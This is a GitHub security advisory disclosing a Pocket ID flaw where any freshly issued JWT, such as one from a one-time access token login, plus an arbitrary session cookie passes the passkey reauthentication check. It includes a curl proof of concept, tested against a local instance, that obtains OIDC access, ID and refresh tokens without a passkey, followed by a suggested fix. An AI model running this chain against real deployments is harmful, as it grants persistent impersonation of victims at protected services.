Skip to content

Pocket ID has a reauthentication bypass via one-time access token login — passkey step-up requirement defeated by JWT freshness check that accepts any login method

Moderate severity GitHub Reviewed Published Apr 26, 2026 in pocket-id/pocket-id

Package

gomod github.com/pocket-id/pocket-id/backend (Go)

Affected versions

< 0.0.0-20260419162744-978ac87deffe

Patched versions

0.0.0-20260419162744-978ac87deffe

Description

Reauthentication Bypass via One-Time Access Token Login

Summary

A weaker authentication method (OTA token or signup token) is accepted as passkey step-up proof, yielding unauthorized renewable 30-day OIDC refresh tokens for clients explicitly configured with RequiresReauthentication: true. The POST /api/webauthn/reauthenticate endpoint's access-token fallback checks only JWT freshness (IssuedAt within 60 seconds), not the authentication method used. The session cookie gate is also non-validating -- any arbitrary cookie value (e.g. session=deadbeef) is accepted, collapsing the reauth boundary to token recency alone.

The bypass needs to succeed only once. The resulting OIDC grant includes a 30-day refresh token that can be rotated indefinitely, providing persistent victim-impersonation access to the protected downstream service. The attacker obtains access_token (1-hour TTL), id_token (victim's name, email, profile), and refresh_token (30-day TTL, renewable) for a client that was explicitly configured to require passkey step-up authentication. The attacker can perform victim-scoped actions at the downstream relying party indefinitely.

Root Cause

CreateReauthenticationTokenWithAccessToken (webauthn_service.go:362-403) only checks that the access token's IssuedAt claim is less than 60 seconds old:

// webauthn_service.go:378-381
tokenExpiration, ok := token.IssuedAt()
if !ok || time.Since(tokenExpiration) > time.Minute {
    return "", &common.ReauthenticationRequiredError{}
}

It does not check HOW the user originally authenticated. The reauthenticateHandler (webauthn_controller.go:179-207) falls into this path whenever the request body cannot be parsed as a WebAuthn credential assertion:

// webauthn_controller.go:189-199
credentialAssertionData, err := protocol.ParseCredentialRequestResponseBody(c.Request.Body)
if err == nil {
    token, err = wc.webAuthnService.CreateReauthenticationTokenWithWebauthn(...)
} else {
    // FALLBACK: Only checks access token age, not auth method
    accessToken, _ := c.Cookie(cookie.AccessTokenCookieName)
    token, err = wc.webAuthnService.CreateReauthenticationTokenWithAccessToken(c.Request.Context(), accessToken)
}

Additionally, the handler's session cookie check (line 180) only verifies that a cookie named session exists -- it does not validate the cookie value against any server-side session store. Any arbitrary value (e.g. session=deadbeef) satisfies the check:

// webauthn_controller.go:180-184
sessionID, err := c.Cookie(cookie.SessionIdCookieName)
if err != nil {
    _ = c.Error(&common.MissingSessionIdError{})
    return
}
// sessionID is passed to CreateReauthenticationTokenWithWebauthn but NOT
// to CreateReauthenticationTokenWithAccessToken (the fallback path)

In the fallback path, the sessionID variable is never used. The session cookie is a gate check only -- presence, not validity. This means the reauth boundary is not bound to a real authenticated browser session.

Meanwhile, GenerateAccessToken (jwt_service.go:190-195) always sets IssuedAt(now) regardless of how authentication was performed:

// jwt_service.go:191-195
now := time.Now()
token, err := jwt.NewBuilder().
    Subject(user.ID).
    Expiration(now.Add(...)).
    IssuedAt(now).  // Always "now" — regardless of auth method

This function is called by:

  1. WebAuthn login (intended passkey path)
  2. One-time access token exchange (one_time_access_service.go:200)
  3. User signup (user_signup_controller.go:182)

All three produce tokens that bypass the reauthentication freshness check.

Attack Chain

Precondition: An OIDC client has RequiresReauthentication: true. The attacker has obtained a one-time access token (via email compromise, admin-issued token, or if unauthenticated OTP emails are enabled).

  1. Exchange OTA for fresh JWT: POST /api/one-time-access-token/{token} returns a fresh access token with IssuedAt = now.

  2. Set any session cookie: The handler checks for cookie existence only. Set session=deadbeef (or any arbitrary value). No need to call /api/webauthn/login/start.

  3. Bypass reauthentication: POST /api/webauthn/reauthenticate with empty body {} and the fake session cookie. WebAuthn parsing fails, falls to the access-token freshness check. Since the token was just issued, the check passes. The session cookie value is not validated in this path. A reauthentication token is returned without any passkey interaction.

  4. Authorize sensitive client: POST /api/oidc/authorize with the reauthentication token and the target client's ID. The authorization code is issued.

  5. Get OIDC tokens: POST /api/oidc/token exchanges the authorization code for access_token, id_token, and refresh_token.

All steps complete in under 2 seconds (60-second window is trivial for scripts).

Proof of Concept (Verified Live)

Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build.

# Seed test database
curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true

# Exchange OTA for admin user (seeded token: HPe6k6uiDRRVuAQV)
curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV
# Returns 200 with user info, sets access_token cookie with IssuedAt=now

# Bypass reauthentication - empty body triggers access token fallback
# Session cookie can be ANY arbitrary value - handler only checks existence
curl -s -b cookies.txt -b "session=deadbeef" -X POST http://localhost:1411/api/webauthn/reauthenticate \
  -H "Content-Type: application/json" -d '{}'
# Returns: {"reauthenticationToken":"al9JkF9kVI0V3UsAqMJIIF73N4ogHial"}
# NO passkey interaction! Fake session cookie accepted!

# Authorize sensitive OIDC client (after enabling RequiresReauthentication)
curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"clientID":"3654a746-...","scope":"openid profile email",
       "callbackURL":"http://nextcloud/auth/callback",
       "reauthenticationToken":"MUslJS8ALHDtSIiXGadS3yNiqTrA33q7"}'
# Returns: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"..."}
# OIDC authorization code issued without passkey!

# Exchange for full OIDC token set
curl -s -X POST http://localhost:1411/api/oidc/token \
  -d "grant_type=authorization_code&code=J31Zkp...&client_id=3654a746-..."
# Returns: access_token, id_token, refresh_token

Live output from the test run:

[A3] Bypass reauthentication (empty body -> access token fallback)...
Reauth token (no passkey used): MUslJS8ALHDtSIiXGadS3yNiqTrA33q7
[A4] Authorize Nextcloud (requiresReauthentication=true)...
Authorize response: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"http://nextcloud/auth/callback","issuer":"http://localhost:1411"}
[A5] Exchange authorization code for OIDC tokens...
Token response keys: ['access_token', 'token_type', 'id_token', 'refresh_token', 'expires_in']
=== FULL CHAIN COMPLETE ===

Impact

The RequiresReauthentication feature on OIDC clients is designed to enforce step-up authentication via passkeys for sensitive downstream services. This bypass completely defeats that protection and yields persistent access:

  • Unauthorized victim-scoped downstream access: The attacker receives a valid OIDC grant (access_token, id_token, refresh_token) for a client the admin explicitly protected with passkey reauthentication. The attacker can impersonate the victim at the downstream relying party and perform victim-scoped actions (read data, modify settings, access protected resources) -- this is not just information disclosure but active impersonation.
  • Persistent access via refresh token: The bypass needs to succeed only once (within 60 seconds of OTA exchange). The 30-day refresh token can be rotated indefinitely. Tested and confirmed: after 65 seconds (past the reauth window), the refresh token still produces new access tokens and userinfo access.
  • Collapsed security boundary: The passkey reauthentication requirement degenerates to two non-security-relevant checks: (1) JWT IssuedAt recency (satisfied by any login method) and (2) session cookie existence (satisfied by any arbitrary cookie value). Neither check verifies that a passkey ceremony occurred.
  • Email compromise escalation: An attacker who gains access to a user's email can trigger and intercept a one-time access token, then authorize any OIDC client including those the admin explicitly protected with passkey reauthentication.
  • Downstream service exposure: OIDC clients protected by reauthentication typically guard sensitive services (admin panels, CI/CD, infrastructure access). The bypass grants full OIDC tokens including access_token (1h TTL), id_token (with victim's name, email, profile), and refresh_token (30-day TTL, renewable).

Scope: The bypass affects OIDC client authorization (the sole consumer of reauthentication tokens). Other sensitive operations (WebAuthn credential management, user profile changes, admin operations) do not use reauthentication tokens.

Escalation vectors investigated and ruled out:

  • Non-admin privilege escalation: tested live, non-admin users get 403 on admin endpoints (OIDC client modification, OTA creation for other users). No middleware confusion.
  • IDOR in OTA minting: all OTA creation endpoints properly enforce admin auth or are self-service only. No cross-user forgery.
  • OTA replay: OTA tokens are properly single-use (deleted from DB on exchange).

Suggested Fix

The access-token fallback in CreateReauthenticationTokenWithAccessToken should verify that the session was established via a strong authentication method (passkey/WebAuthn), not just that the access token is fresh.

Option 1 (simplest): Remove the access-token fallback entirely. Always require a WebAuthn ceremony for reauthentication.

Option 2: Add an auth_method claim to the access token when generated via passkey login. The reauthentication fallback should only succeed for tokens with auth_method: "webauthn".

// In GenerateAccessToken, add auth method context
func (s *JwtService) GenerateAccessToken(user model.User, authMethod string) (string, error) {
    // ... existing code ...
    // Add auth_method claim
}

// In CreateReauthenticationTokenWithAccessToken, check auth method
func (s *WebAuthnService) CreateReauthenticationTokenWithAccessToken(...) (string, error) {
    // ... existing verification ...
    authMethod, _ := token.Get("auth_method")
    if authMethod != "webauthn" {
        return "", &common.ReauthenticationRequiredError{}
    }
    // ... rest of function ...
}

Self-Review

  • Is this by-design? No. The 60-second freshness window was designed for UX after passkey login (avoid immediate re-prompt). But it accepts any fresh token, not just passkey-authenticated ones. The RequiresReauthentication feature clearly intends to enforce passkey interaction.
  • Are there upstream bounds? No. The only check is IssuedAt freshness. All login methods produce equivalent tokens.
  • Honest weaknesses: Requires obtaining a one-time access token (email interception or admin-issued). The 60-second window is tight for manual exploitation but trivial for scripts. Impact is limited to OIDC client authorization. The non-validating session cookie weakens the boundary but does not change the fundamental precondition (needing a fresh JWT).
  • Existing reports: No prior reports for this issue. CVE-2026-28512 and CVE-2026-28513 are unrelated.
  • Prior art: No competing reports found on GitHub issues, security advisories, or huntr.

Koda Reef

References

@stonith404 stonith404 published to pocket-id/pocket-id Apr 26, 2026
Published to the GitHub Advisory Database Jul 28, 2026
Reviewed Jul 28, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N

EPSS score

Weaknesses

Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-hp74-gm6m-2qm5

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.